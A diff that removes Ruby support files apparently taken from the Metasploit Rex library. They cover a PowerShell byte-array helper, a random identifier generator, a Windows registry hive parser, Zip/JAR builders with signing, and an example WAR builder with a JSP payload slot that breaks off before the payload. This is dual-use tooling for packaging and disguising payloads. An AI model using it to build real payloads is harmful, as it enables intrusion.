:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
:initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
:end_with?
def initialize(code)
@code = ''
@rig = Rex::RandomIdentifierGenerator.new
begin
# Open code file for reading
fd = ::File.new(code || '', 'rb')
while (line = fd.gets)
@code << line
end
# Close open file
fd.close
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat code as a... code
@code = code.to_s.dup # in case we're eating another script
end
@functions = get_func_names.map { |f| get_func(f) }
end
##
# Class methods
##
#
# Convert binary to byte array, read from file if able
#
# @param input_data [String] Path to powershell file or powershell
# code string
# @param var_name [String] Byte array variable name
#
# @return [String] input_data as a powershell byte array
def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
# File will raise an exception if the path contains null byte
if input_data.include? "\x00"
code = input_data
else
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
end
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length - 1) do |byte|
if (byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join('') + "\r\n"
end
#
# Return list of code modifier methods
#
# @return [Array] Code modifiers
def self.code_modifiers
instance_methods.select { |m| m =~ /^(strip|sub)/ }
end
end # class Script
end
end

View File

@ -1,179 +0,0 @@
# -*- coding: binary -*-
require 'rex/text'
# A quick way to produce unique random strings that follow the rules of
# identifiers, i.e., begin with a letter and contain only alphanumeric
# characters and underscore.
#
# The advantage of using this class over, say, {Rex::Text.rand_text_alpha}
# each time you need a new identifier is that it ensures you don't have
# collisions.
#
# @example
# vars = Rex::RandomIdentifierGenerator.new
# asp_code = <<-END_CODE
# Sub #{vars[:func]}()
# Dim #{vars[:fso]}
# Set #{vars[:fso]} = CreateObject("Scripting.FileSystemObject")
# ...
# End Sub
# #{vars[:func]}
# END_CODE
#
class Rex::RandomIdentifierGenerator
# Raised when a RandomIdentifierGenerator cannot create any more
# identifiers without collisions.
class ExhaustedSpaceError < StandardError; end
# Default options
DefaultOpts = {
# Arbitrary
:max_length => 12,
:min_length => 3,
# This should be pretty universal for identifier rules
:char_set => Rex::Text::AlphaNumeric+"_",
:first_char_set => Rex::Text::LowerAlpha
}
# @param opts [Hash] Options, see {DefaultOpts} for default values
# @option opts :max_length [Fixnum]
# @option opts :min_length [Fixnum]
# @option opts :char_set [String]
def initialize(opts={})
# Holds all identifiers.
@value_by_name = {}
# Inverse of value_by_name so we can ensure uniqueness without
# having to search through the whole list of values
@name_by_value = {}
@opts = DefaultOpts.merge(opts)
if @opts[:min_length] < 1 || @opts[:max_length] < 1 || @opts[:max_length] < @opts[:min_length]
raise ArgumentError, "Invalid length options"
end
# This is really just the maximum number of shortest names. This
# will still be a pretty big number most of the time, so don't
# bother calculating the real one, which will potentially be
# expensive, since we're talking about a 36-digit decimal number to
# represent the total possibilities for the range of 10- to
# 20-character identifiers.
#
# 26 because the first char is lowercase alpha, (min_length - 1) and
# not just min_length because it includes that first alpha char.
@max_permutations = 26 * (@opts[:char_set].length ** (@opts[:min_length]-1))
# The real number of permutations could be calculated thusly:
#((@opts[:min_length]-1) .. (@opts[:max_length]-1)).reduce(0) { |a, e|
# a + (26 * @opts[:char_set].length ** e)
#}
end
# Returns the @value_by_name hash
#
# @return [Hash]
def to_h
return @value_by_name
end
# Return a unique random identifier for +name+, generating a new one
# if necessary.
#
# @param name [Symbol] A descriptive, intention-revealing name for an
# identifier. This is what you would normally call the variable if
# you weren't generating it.
# @return [String]
def get(name)
return @value_by_name[name] if @value_by_name[name]
@value_by_name[name] = generate
@name_by_value[@value_by_name[name]] = name
@value_by_name[name]
end
alias [] get
alias init_var get
# Add a new identifier. Its name will be checked for uniqueness among
# previously-generated names.
#
# @note This should be called *before* any calls to {#get} to avoid
# potential collisions. If you do hit a collision, this method will
# raise.
#
# @param name (see #get)
# @param value [String] The identifier that will be returned by
# subsequent calls to {#get} with the sane +name+.
# @raise RuntimeError if +value+ already exists
# @return [void]
def store(name, value)
case @name_by_value[value]
when name
# we already have this value and it is associated with this name
# nothing to do here
when nil
# don't have this value yet, so go ahead and just insert
@value_by_name[name] = value
@name_by_value[value] = name
else
# then the caller is trying to insert a duplicate
raise RuntimeError, "Value is not unique!"
end
self
end
# Create a random string that satisfies most languages' requirements
# for identifiers. In particular, with a default configuration, the
# first character will always be lowercase alpha (unless modified by a
# block), and the whole thing will contain only a-zA-Z0-9_ characters.
#
# If called with a block, the block will be given the identifier before
# uniqueness checks. The block's return value will be the new
# identifier. Note that the block may be called multiple times if it
# returns a non-unique value.
#
# @note Calling this method with a block that returns only values that
# this generator already contains will result in an infinite loop.
#
# @example
# rig = Rex::RandomIdentifierGenerator.new
# const = rig.generate { |val| val.capitalize }
# rig.insert(:SOME_CONSTANT, const)
# ruby_code = <<-EOC
# #{rig[:SOME_CONSTANT]} = %q^generated ruby constant^
# def #{rig[:my_method]}; ...; end
# EOC
#
# @param len [Fixnum] Avoid setting this unless a specific size is
# necessary. Default is random within range of min .. max
# @return [String] A string that matches <tt>[a-z][a-zA-Z0-9_]*</tt>
# @yield [String] The identifier before uniqueness checks. This allows
# you to modify the value and still avoid collisions.
def generate(len=nil)
raise ArgumentError, "len must be positive integer" if len && len < 1
raise ExhaustedSpaceError if @value_by_name.length >= @max_permutations
# pick a random length within the limits
len ||= rand(@opts[:min_length] .. (@opts[:max_length]))
ident = ""
# XXX: Infinite loop if block returns only values we've already
# generated.
loop do
ident = Rex::Text.rand_base(1, "", @opts[:first_char_set])
ident << Rex::Text.rand_base(len-1, "", @opts[:char_set])
if block_given?
ident = yield ident
end
# Try to make another one if it collides with a previously
# generated one.
break unless @name_by_value.key?(ident)
end
ident
end
end

View File

@ -1,132 +0,0 @@
# -*- coding: binary -*-
require_relative "regf"
require_relative "nodekey"
module Rex
module Registry
class Hive
attr_accessor :root_key, :hive_regf, :hive_name
def initialize(hivepath)
hive_blob = open(hivepath, "rb") { |io| io.read }
@hive_regf = RegfBlock.new(hive_blob)
return nil if !@hive_regf.root_key_offset
@root_key = NodeKey.new(hive_blob, 0x1000 + @hive_regf.root_key_offset)
return nil if !@root_key.lf_record
keys = []
root_key.lf_record.children.each do |key|
keys << key.name
end
if keys.include? "LastKnownGoodRecovery"
@hive_name = "SYSTEM"
elsif keys.include? "Microsoft"
@hive_name = "SOFTWARE"
elsif keys.include? "Environment"
@hive_name = "NTUSER.DAT"
elsif keys.include? "SAM"
@hive_name = "SAM"
elsif keys.include? "Policy"
@hive_name = "SECURITY"
else
@hive_name = "UNKNOWN"
end
end
def relative_query(path)
if path == "" || path == "\\"
return @root_key
end
current_child = nil
paths = path.split("\\")
return if !@root_key.lf_record
@root_key.lf_record.children.each do |child|
next if child.name.downcase != paths[1].downcase
current_child = child
if paths.length == 2
current_child.full_path = path
return current_child
end
2.upto(paths.length) do |i|
if i == paths.length
current_child.full_path = path
return current_child
else
if current_child.lf_record && current_child.lf_record.children
current_child.lf_record.children.each do |c|
next if c.name.downcase != paths[i].downcase
current_child = c
break
end
end
end
end
end
return if !current_child
current_child.full_path = path
return current_child
end
def value_query(path)
if path == "" || path == "\\"
return nil
end
paths = path.split("\\")
return if !@root_key.lf_record
@root_key.lf_record.children.each do |root_child|
next if root_child.name.downcase != paths[1].downcase
current_child = root_child
if paths.length == 2
return nil
end
2.upto(paths.length - 1) do |i|
next if !current_child.lf_record
current_child.lf_record.children.each do |c|
next if c.name != paths[i]
current_child = c
break
end
end
if !current_child.value_list || current_child.value_list.values.length == 0
return nil
end
current_child.value_list.values.each do |value|
next if value.name.downcase != paths[paths.length - 1].downcase
value.full_path = path
return value
end
end
end
end
end
end

View File

@ -1,51 +0,0 @@
# -*- coding: binary -*-
require_relative "nodekey"
module Rex
module Registry
class LFBlock
attr_accessor :number_of_keys, :hash_records, :children
def initialize(hive_blob, offset)
offset = offset + 4
lf_header = hive_blob[offset, 2]
if lf_header !~ /lf/ && lf_header !~ /lh/
return
end
@number_of_keys = hive_blob[offset + 0x02, 2].unpack('C').first
@hash_records = []
@children = []
hash_offset = offset + 0x04
1.upto(@number_of_keys) do |h|
hash = LFHashRecord.new(hive_blob, hash_offset)
@hash_records << hash
hash_offset = hash_offset + 0x08
@children << NodeKey.new(hive_blob, hash.nodekey_offset + 0x1000)
end
end
end
class LFHashRecord
attr_accessor :nodekey_offset, :nodekey_name_verification
def initialize(hive_blob, offset)
@nodekey_offset = hive_blob[offset, 4].unpack('V').first
@nodekey_name_verification = hive_blob[offset+0x04, 4].to_s
end
end
end
end

View File

@ -1,54 +0,0 @@
# -*- coding: binary -*-
require_relative "lfkey"
require_relative "valuelist"
module Rex
module Registry
class NodeKey
attr_accessor :timestamp, :parent_offset, :subkeys_count, :lf_record_offset
attr_accessor :value_count, :value_list_offset, :security_key_offset
attr_accessor :class_name_offset, :name_length, :class_name_length, :full_path
attr_accessor :name, :lf_record, :value_list, :class_name_data, :readable_timestamp
def initialize(hive, offset)
offset = offset + 0x04
nk_header = hive[offset, 2]
nk_type = hive[offset+0x02, 2]
if nk_header !~ /nk/
return
end
@timestamp = hive[offset+0x04, 8].unpack('Q').first
@parent_offset = hive[offset+0x10, 4].unpack('V').first
@subkeys_count = hive[offset+0x14, 4].unpack('V').first
@lf_record_offset = hive[offset+0x1c, 4].unpack('V').first
@value_count = hive[offset+0x24, 4].unpack('V').first
@value_list_offset = hive[offset+0x28, 4].unpack('V').first
@security_key_offset = hive[offset+0x2c, 4].unpack('V').first
@class_name_offset = hive[offset+0x30, 4].unpack('V').first
@name_length = hive[offset+0x48, 2].unpack('C').first
@class_name_length = hive[offset+0x4a, 2].unpack('C').first
@name = hive[offset+0x4c, @name_length].to_s
windows_time = @timestamp
unix_time = windows_time/10000000-11644473600
ruby_time = Time.at(unix_time)
@readable_timestamp = ruby_time
@lf_record = LFBlock.new(hive, @lf_record_offset + 0x1000) if @lf_record_offset != -1
@value_list = ValueList.new(hive, @value_list_offset + 0x1000, @value_count) if @value_list_offset != -1
@class_name_data = hive[@class_name_offset + 0x04 + 0x1000, @class_name_length]
end
end
end
end

View File

@ -1,25 +0,0 @@
# -*- coding: binary -*-
module Rex
module Registry
class RegfBlock
attr_accessor :timestamp, :root_key_offset
def initialize(hive)
regf_header = hive[0x00, 4]
if regf_header !~ /regf/
puts "Not a registry hive"
return
end
@timestamp = hive[0x0C, 8].unpack('q').first
@root_key_offset = 0x20
end
end
end
end

View File

@ -1,67 +0,0 @@
# -*- coding: binary -*-
module Rex
module Registry
class ValueKey
attr_accessor :name_length, :length_of_data, :data_offset, :full_path
attr_accessor :value_type, :readable_value_type, :name, :value
def initialize(hive, offset)
offset = offset + 4
vk_header = hive[offset, 2]
if vk_header !~ /vk/
puts "no vk at offset #{offset}"
return
end
@name_length = hive[offset+0x02, 2].unpack('C').first
@length_of_data = hive[offset+0x04, 4].unpack('V').first
@data_offset = hive[offset+ 0x08, 4].unpack('V').first
@value_type = hive[offset+0x0C, 4].unpack('C').first
if @value_type == 1
@readable_value_type = "Unicode character string"
elsif @value_type == 2
@readable_value_type = "Unicode string with %VAR% expanding"
elsif @value_type == 3
@readable_value_type = "Raw binary value"
elsif @value_type == 4
@readable_value_type = "Dword"
elsif @value_type == 7
@readable_value_type = "Multiple unicode strings separated with '\\x00'"
end
flag = hive[offset+0x10, 2].unpack('C').first
if flag == 0
@name = "Default"
else
@name = hive[offset+0x14, @name_length].to_s
end
@value = ValueKeyData.new(hive, @data_offset, @length_of_data, @value_type, offset)
end
end
class ValueKeyData
attr_accessor :data
def initialize(hive, offset, length, datatype, parent_offset)
offset = offset + 4
#If the data-size is lower than 5, the data-offset value is used to store
#the data itself!
if length < 5
@data = hive[parent_offset + 0x08, 4]
else
@data = hive[offset + 0x1000, length]
end
end
end
end
end

View File

@ -1,29 +0,0 @@
# -*- coding: binary -*-
require_relative "valuekey"
module Rex
module Registry
class ValueList
attr_accessor :values
def initialize(hive, offset, number_of_values)
offset = offset + 4
inner_offset = 0
@values = []
1.upto(number_of_values) do |v|
valuekey_offset = hive[offset + inner_offset, 4]
next if !valuekey_offset
valuekey_offset = valuekey_offset.unpack('V').first
@values << ValueKey.new(hive, valuekey_offset + 0x1000)
inner_offset = inner_offset + 4
end
end
end
end
end

File diff suppressed because it is too large Load Diff

View File

@ -1,130 +0,0 @@
# -*- coding: binary -*-
module Rex
module Zip
#
# This represents an entire archive.
#
class Archive
# An array of the Entry objects stored in this Archive.
attr_reader :entries
def initialize(compmeth=CM_DEFLATE)
@compmeth = compmeth
@entries = []
end
#
# Recursively adds a directory of files into the archive.
#
def add_r(dir)
path = File.dirname(dir)
Dir[File.join(dir, "**", "**")].each do |file|
relative = file.sub(/^#{path.chomp('/')}\//, '')
if File.directory?(file)
@entries << Entry.new(relative.chomp('/') + '/', '', @compmeth, nil, EFA_ISDIR, nil, nil)
else
contents = File.read(file, :mode => 'rb')
@entries << Entry.new(relative, contents, @compmeth, nil, nil, nil, nil)
end
end
end
#
# Create a new Entry and add it to the archive.
#
# If fdata is set, the file is populated with that data
# from the calling method. If fdata is nil, then the
# fs is checked for the file. If central_dir_name is set
# it will be used to spoof the name at the Central Directory
# at packing time.
#
def add_file(fname, fdata=nil, xtra=nil, comment=nil, central_dir_name=nil)
if (not fdata)
begin
st = File.stat(fname)
rescue
return nil
end
ts = st.mtime
if (st.directory?)
attrs = EFA_ISDIR
fdata = ''
unless fname[-1,1] == '/'
fname += '/'
end
else
f = File.open(fname, 'rb')
fdata = f.read(f.stat.size)
f.close
end
end
@entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment, central_dir_name)
end
def set_comment(comment)
@comment = comment
end
#
# Write the compressed file to +fname+.
#
def save_to(fname)
f = File.open(fname, 'wb')
f.write(pack)
f.close
end
#
# Compress this archive and return the resulting zip file as a String.
#
def pack
ret = ''
# save the offests
offsets = []
# file 1 .. file n
@entries.each { |ent|
offsets << ret.length
ret << ent.pack
}
# archive decryption header (unsupported)
# archive extra data record (unsupported)
# central directory
cfd_offset = ret.length
idx = 0
@entries.each { |ent|
cfd = CentralDir.new(ent, offsets[idx])
ret << cfd.pack
idx += 1
}
# zip64 end of central dir record (unsupported)
# zip64 end of central dir locator (unsupported)
# end of central directory record
cur_offset = ret.length - cfd_offset
ret << CentralDirEnd.new(@entries.length, cur_offset, cfd_offset, @comment).pack
ret
end
def inspect
"#<#{self.class} entries = [#{@entries.map{|e| e.name}.join(",")}]>"
end
end
end
end

View File

@ -1,184 +0,0 @@
# -*- coding: binary -*-
module Rex
module Zip
#
# This structure holds the following data pertaining to a Zip entry's data.
#
# data crc
# compressed size
# uncompressed size
#
class CompInfo
def initialize(crc, compsz, uncompsz)
@crc, @compsz, @uncompsz = crc, compsz, uncompsz
end
def pack
[ @crc, @compsz, @uncompsz ].pack('VVV')
end
end
#
# This structure holds the following data pertaining to a Zip entry.
#
# general purpose bit flag
# compression method
# modification time
# modification date
#
class CompFlags
attr_accessor :compmeth
def initialize(gpbf, compmeth, timestamp)
@gpbf = gpbf
@compmeth = compmeth
@mod_time = ((timestamp.hour << 11) | (timestamp.min << 5) | (timestamp.sec))
@mod_date = (((timestamp.year - 1980) << 9) | (timestamp.mon << 5) | (timestamp.day))
end
def pack
[ @gpbf, @compmeth, @mod_time, @mod_date ].pack('vvvv')
end
end
#
# This structure is sometimes stored after the file data and used
# instead of the fields within the Local File Header.
#
class DataDesc
SIGNATURE = 0x8074b50
def initialize(compinfo)
@compinfo = compinfo
end
def pack
ret = [ SIGNATURE ].pack('V')
ret << @compinfo.pack
ret
end
end
#
# This structure records the compression data and flags about
# a Zip entry to a file.
#
class LocalFileHdr
SIGNATURE = 0x4034b50
def initialize(entry)
@entry = entry
end
def pack
path = @entry.relative_path
ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv')
ret << @entry.flags.pack
ret << @entry.info.pack
ret << [ path.length, @entry.xtra.length ].pack('vv')
ret << path
ret << @entry.xtra
ret
end
end
#
# This structure holds all of the information about a particular Zip Entry
# as it is contained within the central directory.
#
class CentralDir
SIGNATURE = 0x2014b50
def initialize(entry, offset)
@entry = entry
@disknum_start = 0
@attr_int = 0
@attr_ext = 0x20
@hdr_offset = offset
end
def pack
if @entry.central_dir_name.to_s.strip.empty?
path = @entry.relative_path
else
path = @entry.central_dir_path
end
ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv')
ret << [ ZIP_VERSION ].pack('v')
ret << @entry.flags.pack
ret << @entry.info.pack
arr = []
arr << path.length
arr << @entry.xtra.length
arr << @entry.comment.length
arr << @disknum_start
arr << @attr_int
arr << @entry.attrs
arr << @hdr_offset
ret << arr.pack('vvvvvVV')
ret << path
ret << @entry.xtra
ret << @entry.comment
# digital signature not supported
ret
end
end
#
# This structure is written after the per-entry central directory records to
# provide information about the archive as a whole.
#
class CentralDirEnd
SIGNATURE = 0x6054b50
def initialize(ncfd, cfdsz, offset, comment=nil)
@disk_no = 0
@disk_dir_start = 0
@ncfd_this_disk = ncfd
@ncfd_total = ncfd
@cfd_size = cfdsz
@start_offset = offset
@comment = comment
@comment ||= ''
end
def pack
arr = []
arr << SIGNATURE
arr << @disk_no
arr << @disk_dir_start
arr << @ncfd_this_disk
arr << @ncfd_total
arr << @cfd_size
arr << @start_offset
arr << @comment.length
(arr.pack('VvvvvVVv') + @comment)
end
end
end
end

View File

@ -1,122 +0,0 @@
# -*- coding: binary -*-
module Rex
module Zip
#
# An Entry represents a logical file or directory to be stored in an Archive
#
class Entry
attr_accessor :name, :flags, :info, :xtra, :comment, :attrs, :central_dir_name
attr_reader :data
def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil, central_dir_name=nil)
@name = fname.unpack("C*").pack("C*")
@central_dir_name = (central_dir_name ? central_dir_name.unpack("C*").pack("C*") : nil)
@data = data.unpack("C*").pack("C*")
@xtra = xtra
@xtra ||= ''
@comment = comment
@comment ||= ''
@attrs = attrs
@attrs ||= 0
# XXX: sanitize timestmap (assume now)
timestamp ||= Time.now
@flags = CompFlags.new(0, compmeth, timestamp)
if (@data)
compress
else
@data = ''
@info = CompInfo.new(0, 0, 0)
end
@compdata ||= ''
end
def data=(val)
@data = val.unpack("C*").pack("C*")
compress
end
#
# Compress the #data and store it for later use. If this entry's compression method
# produces a larger blob than the original data, the method is changed to CM_STORE.
#
def compress
@crc = Zlib.crc32(@data, 0)
case @flags.compmeth
when CM_STORE
@compdata = @data
when CM_DEFLATE
z = Zlib::Deflate.new(Zlib::BEST_COMPRESSION)
@compdata = z.deflate(@data, Zlib::FINISH)
z.close
@compdata = @compdata[2, @compdata.length-6]
else
raise 'Unsupported compression method: %u' % @flags.compmeth
end
# if compressing doesn't help, just store it
if (@compdata.length > @data.length)
@compdata = @data
@flags.compmeth = CM_STORE
end
@info = CompInfo.new(@crc, @compdata.length, @data.length)
end
def relative_path
get_relative_path(@name)
end
def central_dir_path
return nil if @central_dir_name.to_s.strip.empty?
get_relative_path(@central_dir_name)
end
#
# Return the compressed data in a format suitable for adding to an Archive
#
def pack
# - lfh 1
lfh = LocalFileHdr.new(self)
ret = lfh.pack
# - data 1
if (@compdata)
ret << @compdata
end
if (@gpbf & GPBF_USE_DATADESC)
# - data desc 1
dd = DataDesc.new(@info)
ret << dd.pack
end
ret
end
def inspect
"#<#{self.class} name:#{name}, data:#{@data.length} bytes>"
end
private
def get_relative_path(path)
if (path[0,1] == '/')
return path[1, path.length]
end
path
end
end
end
end

View File

@ -1,283 +0,0 @@
# -*- coding: binary -*-
require 'rex/zip/archive'
module Rex
module Zip
#
# A Jar is a zip archive containing Java class files and a MANIFEST.MF listing
# those classes. Several variations exist based on the same idea of class
# files inside a zip, most notably:
# - WAR files store XML files, Java classes, JSPs and other stuff for
# servlet-based webservers (e.g.: Tomcat and Glassfish)
# - APK files are Android Package files
#
class Jar < Archive
attr_accessor :manifest
# @!attribute [rw] substitutions
# The substitutions to apply when randomizing. Randomization is designed to
# be used in packages and/or classes names.
#
# @return [Hash]
attr_accessor :substitutions
def initialize
@substitutions = {}
super
end
#
# Create a MANIFEST.MF file based on the current Archive#entries.
#
# See http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html for
# some explanation of the format.
#
# Example MANIFEST.MF
# Manifest-Version: 1.0
# Main-Class: metasploit.Payload
#
# Name: metasploit.dat
# SHA1-Digest: WJ7cUVYUryLKfQFmH80/ADfKmwM=
#
# Name: metasploit/Payload.class
# SHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=
#
# The SHA1-Digest lines are optional unless the jar is signed (see #sign).
#
def build_manifest(opts={})
main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil)
app_name = (opts[:app_name] ? randomize(opts[:app_name]) : nil)
existing_manifest = nil
meta_inf_exists = @entries.find_all{|item| item.name == 'META-INF/' }.length > 0
@manifest = "Manifest-Version: 1.0\r\n"
@manifest << "Main-Class: #{main_class}\r\n" if main_class
@manifest << "Application-Name: #{app_name}\r\n" if app_name
@manifest << "Permissions: all-permissions\r\n"
@manifest << "\r\n"
@entries.each { |e|
next if e.name =~ %r|/$|
if e.name == "META-INF/MANIFEST.MF"
existing_manifest = e
next
end
#next unless e.name =~ /\.class$/
@manifest << "Name: #{e.name}\r\n"
#@manifest << "SHA1-Digest: #{Digest::SHA1.base64digest(e.data)}\r\n"
@manifest << "\r\n"
}
if existing_manifest
existing_manifest.data = @manifest
else
add_file("META-INF/", '') unless meta_inf_exists
add_file("META-INF/MANIFEST.MF", @manifest)
end
end
def to_s
pack
end
#
# Length of the *compressed* blob
#
def length
pack.length
end
#
# Add multiple files from an array
#
# +files+ should be structured like so:
# [
# [ "path", "to", "file1" ],
# [ "path", "to", "file2" ]
# ]
# and +path+ should be the location on the file system to find the files to
# add. +base_dir+ will be prepended to the path inside the jar.
#
# Example:
# war = Rex::Zip::Jar.new
# war.add_file("WEB-INF/", '')
# war.add_file("WEB-INF/web.xml", web_xml)
# war.add_file("WEB-INF/classes/", '')
# files = [
# [ "servlet", "examples", "HelloWorld.class" ],
# [ "Foo.class" ],
# [ "servlet", "Bar.class" ],
# ]
# war.add_files(files, "./class_files/", "WEB-INF/classes/")
#
# The above code would create a jar with the following structure from files
# found in ./class_files/ :
#
# +- WEB-INF/
# +- web.xml
# +- classes/
# +- Foo.class
# +- servlet/
# +- Bar.class
# +- examples/
# +- HelloWorld.class
#
def add_files(files, path, base_dir="")
files.each do |file|
# Add all of the subdirectories if they don't already exist
1.upto(file.length - 1) do |idx|
full = base_dir + file[0,idx].join("/") + "/"
if !(entries.map{|e|e.name}.include?(full))
add_file(full, '')
end
end
# Now add the actual file, grabbing data from the filesystem
fd = File.open(File.join( path, file ), "rb")
data = fd.read(fd.stat.size)
fd.close
add_file(base_dir + file.join("/"), data)
end
end
#
# Add a signature to this jar given a +key+ and a +cert+. +cert+ should be
# an instance of OpenSSL::X509::Certificate and +key+ is expected to be an
# instance of one of OpenSSL::PKey::DSA or OpenSSL::PKey::RSA.
#
# This method aims to create signature files compatible with the jarsigner
# tool destributed with the JDK and any JVM should accept the resulting
# jar.
#
# === Signature contents
# Modifies the META-INF/MANIFEST.MF entry adding SHA1-Digest attributes in
# each Name section. The signature consists of two files, a .SF and a .DSA
# (or .RSA if signing with an RSA key). The .SF file is similar to the
# manifest with Name sections but the SHA1-Digest is not optional. The
# difference is in what gets hashed for the SHA1-Digest line -- in the
# manifest, it is the file's contents, in the .SF, it is the file's section
# in the manifest (including trailing newline!). The .DSA/.RSA file is a
# PKCS7 signature of the .SF file contents.
#
# === Links
# A short description of the format:
# http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html#Signed%20JAR%20File
#
# Some info on importing a private key into a keystore which is not
# directly supported by keytool for some unfathomable reason
# http://www.agentbob.info/agentbob/79-AB.html
#
def sign(key, cert, ca_certs=nil)
m = self.entries.find { |e| e.name == "META-INF/MANIFEST.MF" }
raise RuntimeError.new("Jar has no manifest") unless m
ca_certs ||= [ cert ]
new_manifest = ''
sigdata = "Signature-Version: 1.0\r\n"
sigdata << "Created-By: 1.6.0_18 (Sun Microsystems Inc.)\r\n"
sigdata << "\r\n"
# Grab the sections of the manifest
files = m.data.split(/\r?\n\r?\n/)
if files[0] =~ /Manifest-Version/
# keep the header as is
new_manifest << files[0]
new_manifest << "\r\n\r\n"
files = files[1,files.length]
end
# The file sections should now look like this:
# "Name: metasploit/Payload.class\r\nSHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=\r\n\r\n"
files.each do |f|
next unless f =~ /Name: (.*)/
name = $1
e = self.entries.find { |e| e.name == name }
if e
digest = OpenSSL::Digest::SHA1.digest(e.data)
manifest_section = "Name: #{name}\r\n"
manifest_section << "SHA1-Digest: #{[digest].pack('m').strip}\r\n"
manifest_section << "\r\n"
manifest_digest = OpenSSL::Digest::SHA1.digest(manifest_section)
sigdata << "Name: #{name}\r\n"
sigdata << "SHA1-Digest: #{[manifest_digest].pack('m')}\r\n"
new_manifest << manifest_section
end
end
# Now overwrite with the new manifest
m.data = new_manifest
flags = 0
flags |= OpenSSL::PKCS7::BINARY
flags |= OpenSSL::PKCS7::DETACHED
# SMIME and ATTRs are technically valid in the signature but they
# both screw up the java verifier, so don't include them.
flags |= OpenSSL::PKCS7::NOSMIMECAP
flags |= OpenSSL::PKCS7::NOATTR
signature = OpenSSL::PKCS7.sign(cert, key, sigdata, ca_certs, flags)
sigalg = case key
when OpenSSL::PKey::RSA; "RSA"
when OpenSSL::PKey::DSA; "DSA"
# Don't really know what to do if it's not DSA or RSA. Can
# OpenSSL::PKCS7 actually sign stuff with it in that case?
# Regardless, the java spec says signatures can only be RSA,
# DSA, or PGP, so just assume it's PGP and hope for the best
else; "PGP"
end
# SIGNFILE is the default name in documentation. MYKEY is probably
# more common, though because that's what keytool defaults to. We
# can probably randomize this with no ill effects.
add_file("META-INF/SIGNFILE.SF", sigdata)
add_file("META-INF/SIGNFILE.#{sigalg}", signature.to_der)
return true
end
# Adds a file to the JAR, randomizing the file name
# and the contents.
#
# @see Rex::Zip::Archive#add_file
def add_file(fname, fdata=nil, xtra=nil, comment=nil)
super(randomize(fname), randomize(fdata), xtra, comment)
end
# Adds a substitution to have into account when randomizing. Substitutions
# must be added immediately after {#initialize}.
#
# @param str [String] String to substitute. It's designed to randomize
# class and/or package names.
# @param bad [String] String containing bad characters to avoid when
# applying substitutions.
# @return [String] The substitution which will be used when randomizing.
def add_sub(str, bad = '')
if @substitutions.key?(str)
return @substitutions[str]
end
@substitutions[str] = Rex::Text.rand_text_alpha(str.length, bad)
end
# Randomizes an input by applying the `substitutions` available.
#
# @param str [String] String to randomize.
# @return [String] The input `str` with all the possible `substitutions`
# applied.
def randomize(str)
return str if str.nil?
random = str
@substitutions.each do |orig, subs|
random = str.gsub(orig, subs)
end
random
end
end
end
end

View File

@ -1,32 +0,0 @@
# -*- coding: binary -*-
#
# Create a zip file with comments!
#
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
inc = File.dirname(msfbase) + '/../../..'
$:.unshift(inc)
require 'rex/zip'
# example usage
zip = Rex::Zip::Archive.new
zip.add_file("elite.txt", "A" * 1024, nil, %Q<
+---------------+
| file comment! |
+---------------+
>)
zip.set_comment(%Q<
+------------------------------------------+
| |
| Hello! This is the Zip Archive comment! |
| |
+------------------------------------------+
>)
zip.save_to("lolz.zip")

View File

@ -1,138 +0,0 @@
# -*- coding: binary -*-
#
# Create a WAR archive!
#
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
inc = File.dirname(msfbase) + '/../../..'
$:.unshift(inc)
require 'rex/zip'
def rand_text_alpha(len)
buff = ""
foo = []
foo += ('A' .. 'Z').to_a
foo += ('a' .. 'z').to_a
# Generate a buffer from the remaining bytes
if foo.length >= 256
len.times { buff << Kernel.rand(256) }
else
len.times { buff << foo[ rand(foo.length) ] }
end
return buff
end
exe = "exe " * 1024
var_payload = "var_payload"
var_name = "var_name"
zip = Rex::Zip::Archive.new
# begin meta-inf/
minf = [ 0xcafe, 0x0003 ].pack('Vv')
zip.add_file('META-INF/', nil, minf)
# end meta-inf/
# begin meta-inf/manifest.mf
mfraw = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
zip.add_file('META-INF/MANIFEST.MF', mfraw)
# end meta-inf/manifest.mf
# begin web-inf/
zip.add_file('WEB-INF/', '')
# end web-inf/
# begin web-inf/web.xml
webxmlraw = %q{<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
</web-app>
}
webxmlraw.gsub!(/NAME/, var_name)
webxmlraw.gsub!(/PAYLOAD/, var_payload)
zip.add_file('WEB-INF/web.xml', webxmlraw)
# end web-inf/web.xml
# begin <payload>.jsp
